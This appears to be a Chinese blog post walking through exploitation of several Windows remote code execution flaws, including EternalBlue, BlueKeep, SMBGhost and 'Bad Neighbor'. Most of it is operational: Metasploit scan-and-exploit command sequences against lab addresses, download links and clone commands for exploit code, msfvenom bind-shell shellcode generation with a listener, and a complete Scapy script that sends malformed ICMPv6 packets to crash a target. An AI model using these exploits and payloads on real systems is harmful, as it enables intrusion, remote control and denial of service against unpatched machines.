关于这些年来Windows远程代码执行漏洞CVE

永恒之蓝MS17-010

通过445和139端口来利用SMBv1和NBT中的远程代码执行漏洞溢出,恶意代码会扫描开放445文件共享端口的windows。漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。

执行msfconsole命令

msf > search ms17-010
这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。

使用模块
msf> use auxiliary/scanner/smb/smb_ms17_010设置目标ip或网段msfauxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.23.133执行扫描msfauxiliary(scanner/smb/smb_ms17_010) > run

使用模块
msf> use exploit/windows/smb/ms17_010_eternalblue设置攻击目标ipmsf exploit(windows/smb/ms17_010_eternalblue) > set RHOST192.168.23.133查看设置选项msfexploit(windows/smb/ms17_010_eternalblue) > show options
执行攻击
msfexploit(windows/smb/ms17_010_eternalblue) > exploit在这里插入图片描述
直接拿到Win7的Shell,之后便可以通过Shell对目标靶机进行控制。

CVE-2019-0708

CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。如果被攻击者利用,会导致服务器入侵,中病毒,像WannaCry 永恒之蓝漏洞一样大规模的感染。

镜像:Windows 7 sp1 (链接: https://pan.baidu.com/s/1GaD8DCFempeQ1AyroaND8g 提取码: 3ivg)
Exp:链接:https://pan.baidu.com/s/1sw2UaJ1uyYD6WSL7ACTIBw 提取码:ae0a

mkdir命令创建一个rdp目录

rdp.rb   ->   /usr/share/metasploit-framework/modules/exploit/windows/rdp/rdp.rb

rdp_scanner.rb   ->   /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cve_2019_0708_bluekeep.rb   ->   /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cve_2019_0708_bluekeep_rce.rb   ->   /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb


启动msf


重新加载一下利用模块
reload_all


查找一下CVE-2019-0708这个模块
search cve-2019-0708


使用这个攻击模块,并查看一下配置
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options

msfconsole                                            //启动msf
reload_all                                            //重新加载模块search cve-2019-0708                             //查找模块     
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce    //使用这个模块
set rhosts 192.168.80.129                             //设置靶机ip
set rport 3389                                        //改了端口的就必须设置,默认的3389可以忽略
set target 3                                          //设置靶机架构run                                                   //开始(用exploit也可以,个人习惯用run)


完成攻击

SMB v1远程代码执行漏洞(CVE-2020-1301)

目标计算机上启用了SMBv1
目标开启了共享C:
如果目标计算机没有设置凭据,则不需要用户名和密码。
目标机器可能已经崩溃。如果没有,再试一次


控制面包->程序->启动或关闭windows功能->勾选smb1.0







git clone https://github.com/shubham0d/CVE-2020-1301.git
cd CVE-2020-1301 
vim exploit


找到tree_connect_andx函数修改成你共享的文件名

python exploit.py -u win -p win -t 192.168.220.129


目标主机蓝屏

CVE-2020-0796永恒之黑


目标主机开放445端口


关闭防火墙

漏洞检测
https://github.com/ollypwn/SMBGhost/archive/master.zip

生成shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python


POC:
https://github.com/chompie1337/SMBGhost_RCE_PoC/archive/master.zip

vim exploit.py

找到USER_PAYLOAD改成我们的shellcode

原来的buf要改成USER_PAYLOAD
Msf监听

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp 
payload => windows/x64/meterpreter/bind_tcp msf5 exploit(multi/handler) > set loprt 4444
 loprt => 4444 
 msf5 exploit(multi/handler) > set rhost 192.168.8.112 
 rhost => 192.168.8.112




完成攻击

CVE-2020-16898
CVE-2020-16898,又称“Bad Neighbor”
Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。
漏洞描述
当 Windows TCP/IP 堆栈不正确地处理使用 Option Type 25(Recursive DNS Server Option)和长度字段值为偶数的 ICMPv6路由器广告包时,存在远程代码执行漏洞。在此选项中,长度以8字节的增量计算,因此长度为3的 RDNSS 选项的总长度应该为24字节。该选项本身包含五个字段: IPv6递归 DNS 服务器的类型、长度、保留、生存期和地址。前四个字段总共是8字节,但是最后一个字段可以包含不同数量的 IPv6地址,每个地址16字节。因此,根据 RFC 8106,长度字段应该始终是一个至少为3的奇数值。


网络环境开启ipv6支持。这里使用vmware,NAT出一个子网,并开启ipv6支持。


选取一个受影响版本的windows10镜像,安装在虚拟机里。


打开IPv6地址。


受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”

执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

POC:

from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103"	#根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址
v6_src = "fe80::501a:49b7:b7d:5362%12"				#攻击者的本地ipv6地址
 
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
         Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p)


目标蓝屏


CVE-2020-17051: 代码执行漏洞
网络文件系统(Network File System,NFS)是一种分布式文件系统,力求客户端主机可以访问服务器端文件,并且其过程与访问本地存储时一样。
未授权的攻击者通过发送恶意的NFS数据包,可以在目标Windows中的网络文件系统(NFSv3)造成内存堆溢出,进而实现远程代码执行。
POC未公开

CVE-2017-8464震网三代

该漏洞是一个微软Windows系统处理LNK文件过程中发生的远程代码执行漏洞。
当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统,错把通过快捷方式执行powershell代码当作了该漏洞的利用方法。

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值